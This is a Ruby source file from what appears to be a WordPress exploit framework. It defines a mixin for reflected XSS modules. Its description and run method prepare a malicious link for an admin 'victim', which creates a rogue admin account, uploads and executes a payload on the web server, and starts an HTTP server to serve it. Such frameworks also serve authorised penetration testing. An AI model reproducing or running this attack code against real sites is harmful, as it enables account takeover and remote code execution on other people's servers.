# frozen_string_literal: true

# Provides reusable functionality for reflected XSS modules.
module Wpxf::WordPress::ReflectedXss
  include Wpxf::WordPress::Xss

  # Initialize a new instance of {ReflectedXss}.
  def initialize
    super
    @success = false
    _update_info_without_validation(
      desc: %(
        This module prepares a payload and link that can be sent
        to an admin user which when visited with a valid session
        will create a new admin user which will be used to upload
        and execute the selected payload in the context of the
        web server.
      )
    )
  end

  # Run the module.
  # @return [Boolean] true if successful.
  def run
    unless respond_to? 'url_with_xss'
      raise 'Required method "url_with_xss" has not been implemented'
    end

    return false unless super
    return true if aux_module?

    emit_info 'Provide the URL below to the victim to begin the payload upload'
    puts
    puts url_with_xss
    puts

    start_http_server
    @success
  end
end
